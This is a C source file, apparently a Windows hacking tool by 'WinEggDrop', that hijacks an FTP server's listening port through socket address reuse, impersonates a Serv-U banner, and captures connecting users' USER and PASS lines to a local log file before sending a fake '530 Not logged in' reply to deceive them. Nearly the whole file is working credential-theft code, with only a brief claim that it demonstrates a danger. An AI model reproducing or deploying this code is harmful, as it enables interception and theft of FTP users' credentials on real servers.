代码:

---

**************************************************************************************** 
// Version: V1.0 
// Coder: WinEggDrop 
// Date Release: NULL 
// Purpose: To Hijack FTP Sever's Open Port And Steal The Connector's UserName And Pass 
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1 
// Compiled On: VC++ 6.0 
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its 
//         Communication Port To Be Re-Binded(Hijack In Other Word). 
//         If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work 
//**************************************************************************************** 
#include <stdio.h> 
#include <winsock.h> 
#include <windows.h> 

#pragma comment(lib,"wsock32.lib") 

SOCKET ListenSocket = INVALID_SOCKET; 
static CRITICAL_SECTION    cs; 
const  char *LogFile = "c:\\LogFile.Dat"; 

// Function ProtoType Declaration 
//------------------------------------------------------------------------------------------------------ 
BOOL  StartHijack(const char *IPToBind,const char *Port); 
BOOL  IsDigits(const char *String); 
BOOL  InitSocket(); 
BOOL  CreateSocket(const char *IPToBind,const UINT ListenPort); 
BOOL  HandleFTPRequest(); 
BOOL  SaveInfo(const char *FileName,const char *Info); 
BOOL  SendSocket(const SOCKET ClientSocket,const char *Message); 
BOOL  ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize); 
DWORD WINAPI FTPThread(LPVOID Para); 
BOOL  RetrieveFTPUserAndPass(const SOCKET ClientSocket); 
//------------------------------------------------------------------------------------------------------ 
// End Of Fucntion ProtoType Declaration 

int main(int argc,char *argv[]) 
{ 
if (argc != 3)        // Not Enough Parameters 
{ 
     // Show The Usage And Example,Then Exit The Program 
     printf("Usage:   %s BindedIP ListenPort\n",argv[0]); 
     printf("Example: %s 192.168.0.1 21\n",argv[0]); 
     return 0; 
} 

InitializeCriticalSection(&cs); 
StartHijack(argv[1],argv[2]);        // We Are About to Hijack The Port 
DeleteCriticalSection(&cs); 
return 0; 
} 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Create A Listening Socket 
// Return Type: BOOLEAN 
// Parameters:   
//           In: char UINT ListenPort   --> The Listening Port 
//-------------------------------------------------------------------------------------------- 
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort) 
{ 
struct sockaddr_in Client; 

ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);        // Create Socket 

if (ListenSocket == INVALID_SOCKET)        // Fail To Create Socket 
{ 
     printf("Fail To Create Socket\n"); 
     return FALSE; 
} 

memset(&Client, 0, sizeof(Client)); 
Client.sin_family = AF_INET; 
Client.sin_port = htons(ListenPort); 
Client.sin_addr.s_addr = inet_addr(IPToBind); 

// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word) 
BOOL bReUser = TRUE; 
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0) 
{ 
     closesocket(ListenSocket); 
     printf("Fail To Hijack The Port\n"); 
     return FALSE; 
} 

// Bind Socket 
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET) 
{ 
     closesocket(ListenSocket); 
     printf("Fail To Bind Port\n"); 
     return FALSE; 
} 

// Listen On The Port 
if (listen(ListenSocket,5) == INVALID_SOCKET) 
{ 
     closesocket(ListenSocket); 
     return FALSE; 
} 

return TRUE; 
}// End Of CreateSocket() 


//-------------------------------------------------------------------------------------------- 
// Purpose: To Check The Parameters And Start To Hijack 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const char *Port     --> The Listening Port 
//-------------------------------------------------------------------------------------------- 
BOOL StartHijack(const char *IPToBind,const char *Port) 
{ 
if (!InitSocket())        // Init Socket 
{ 
     printf("Fail To Init Socket\n");         
     return FALSE; 
} 
if (!IsDigits(Port))        // Check Whether It's Invalid Port 
{ 
     printf("Invalid Listen Port\n"); 
     return FALSE; 
} 

UINT ListenPort = atoi(Port);        // Get The Port 
if (ListenPort <= 0 || ListenPort > 65535)         
{ 
     printf("The Listen Port Is Out Of Bound\n"); 
     return FALSE; 
} 

if (!CreateSocket(IPToBind,ListenPort))        // Create A TCP Listening Socket 
{ 
     printf("Fail To Create Socket\n");/>     return FALSE; 
} 

return HandleFTPRequest(); 
}// End Of StartHijack() 

// No Need To Comment 
BOOL InitSocket() 
{ 
WSADATA data; 
WORD ver; 

ver = MAKEWORD(2,2); 
return (WSAStartup(ver, &data) == 0); 
}// End Of InitSocket() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Send Buffer Through Socket 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const SOCKET ClientSocket     --> The Client Connected Socket 
//-------------------------------------------------------------------------------------------- 
BOOL SendSocket(const SOCKET ClientSocket,const char *Message) 
{ 
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR); 
}// End Of SendSocket() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Send FTP Banner To The Client 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const SOCKET ClientSocket     --> The Client Connected Socket 
//-------------------------------------------------------------------------------------------- 
BOOL SendFTPBanner(const SOCKET ClientSocket) 
{ 
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n"; 
return SendSocket(ClientSocket,SendWelcomeInfo); 
}// End Of SendFTPBanner() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Receive Buffer From Socket 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const SOCKET ClientSocket     --> The Client Connected Socket 
//           In: const int nSize               --> The SocketBuffer's Size 
//          Out: char  *SocketBuffer           --> Buffer To Receive Data 
//-------------------------------------------------------------------------------------------- 
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize) 
{ 
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0); 
}// End Of ReceiveSocketBuffer() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Check Whether A String Only Contains Digits 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const char *String     --> The String To Be Checked 
//-------------------------------------------------------------------------------------------- 
BOOL IsDigits(const char *String) 
{ 
UINT i = 0; 
UINT StringLength = strlen(String); 

for (i = 0;i < StringLength;i++) 
{ 
     if (String[i] < 48 || String[i] > 57) 
     { 
         return FALSE; 
     } 
} 
return TRUE; 
}// End Of IsDigits() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Save Information Into A File 
// Return Type: BOOLEAN 
// Parameters:   
//           In: const char *FileName     --> File To Store Information 
//           In: const char *Info         --> Information To Be Stored Into File 
//-------------------------------------------------------------------------------------------- 
BOOL SaveInfo(const char *FileName,const char *Info) 
{ 
HANDLE hFile = NULL; 
DWORD dwBytes = 0 ; 
BOOL Flag = FALSE; 

// Open A File For Writing 
hFile = CreateFile(FileName, 
                    GENERIC_READ|GENERIC_WRITE, 
                    FILE_SHARE_WRITE, 
                    NULL, 
                    OPEN_ALWAYS, 
                    FILE_ATTRIBUTE_NORMAL, 
                    NULL 
                   ); 

if (hFile == INVALID_HANDLE_VALUE)            // Fail To Open That File,Something Must Be Wrong 
{ 
     return FALSE; 
} 
SetFilePointer(hFile,0,NULL,FILE_END);        // Set The File Pointer To The File End 
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL);        // Write Information Into That File 
CloseHandle(hFile);        // Close File Handle 
return Flag;        // Return The WriteFile Status 
}// End Of SaveInfo() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Remove An Ending Enter From A String 
// Return Type: BOOLEAN 
// Parameters:   
//           In: char *String     --> String To Be Modified 
//-------------------------------------------------------------------------------------------- 
BOOL DeleteEnter(char *String) 
{ 
UINT Length = strlen(String); 
if (String[Length - 2] == '\r' || String[Length - 2] == '\n') 
{ 
     String[Length - 2] = '\0'; 
} 
else 
{ 
     if (String[Length - 1] == '\r' || String[Length - 1] == '\n') 
     { 
         String[Length - 1] = '\0'; 
     } 
} 
return TRUE; 
}// End Of DeleteEnter() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Handle FTP Request 
// Return Type: BOOLEAN 
// Parameters:  NONE 
//-------------------------------------------------------------------------------------------- 
BOOL HandleFTPRequest() 
{ 
DWORD dwThreadID; 
SOCKET AcceptSocket = INVALID_SOCKET; 
SOCKET *CloneSocket = NULL; 

while(TRUE) 
{ 
     SOCKADDR_IN client; 
     int nSize = sizeof(client); 
     AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize); 

     if (AcceptSocket == INVALID_SOCKET)        // Something Is Wrong About The Socket 
     { 
         break;        // Get To Leave 
     } 

     CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket));        // Allocate For Socket Ram 
     if (CloneSocket == NULL)        // Not Enough Ram,Very Rare Situation 
     { 
         closesocket(AcceptSocket);        // Close That Connection 
         continue;         
     } 

     *CloneSocket = AcceptSocket;        // Make A Copy Of Accpet Socket 
     HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID);        // Create A Thread 
     if (hThread != NULL) 
     { 
         CloseHandle(hThread); 
     } 
} 
closesocket(ListenSocket); 
return TRUE; 
}// End Of HandleFPRequest() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Steal The FTP UserName And Password 
// Return Type: BOOLEAN 
// Parameters:   
//            In: const SOCKET ClientSocket  --> The Connector's Socket 
//-------------------------------------------------------------------------------------------- 
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket) 
{ 
const char *UserOK = "331 User name okay, need password.\r\n"; 
char Buffer[MAX_PATH]; 

memset(Buffer,0,sizeof(Buffer)); 

if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))        // Fail To Receive UserName 
{ 
     return FALSE; 
} 

if (strnicmp(Buffer,"USER", 4) == 0)        // We Get The UserName, Store It Into File 
{ 
     EnterCriticalSection(&cs); 
     SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n"); 
     SaveInfo(LogFile,Buffer); 
     LeaveCriticalSection(&cs); 
} 
else        // Unknows Command Received 
{ 
     return FALSE; 
} 

if (!SendSocket(ClientSocket,UserOK))        // Fail To Send Information 
{ 
     return FALSE; 
} 

memset(Buffer,0,MAX_PATH); 
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))        // Fail To Receive Password 
{ 
     return FALSE; 
} 

if (strnicmp(Buffer,"PASS", 4) == 0)        // We Get The Password, Store It Into File 
{ 
     EnterCriticalSection(&cs); 
     SaveInfo(LogFile,Buffer); 
     SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n\r\n"); 
     LeaveCriticalSection(&cs); 
} 
else        // Unknows Command Received 
{ 
     return FALSE; 
} 
return TRUE; 
}// End Of RetrieveFTPUserAndPass() 

//-------------------------------------------------------------------------------------------- 
// Purpose: To Handle The Connector's Request 
// Return Type: DWORD 
// Parameters:   
//            In: LPVOID Para  --> The Connector's Socket 
//-------------------------------------------------------------------------------------------- 
DWORD WINAPI FTPThread(LPVOID Para) 
{ 
SOCKET ClientSocket = (*(SOCKET *)Para);        // Retrieve The Socket 
free(Para);        // Free The Allocated Ram 

if (!SendFTPBanner(ClientSocket))        // Fail To Send FTP Banner 
{ 
     closesocket(ClientSocket);        // Close The Connection 
     return 1; 
} 

RetrieveFTPUserAndPass(ClientSocket);        // Get The Connector's UserName and Password 
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.\r\n");        // Cheat The Connector By Sending This 
closesocket(ClientSocket);        // Disconnect The Connector 
return 0; 
}// End Of FTPThread() 
// End Of File

---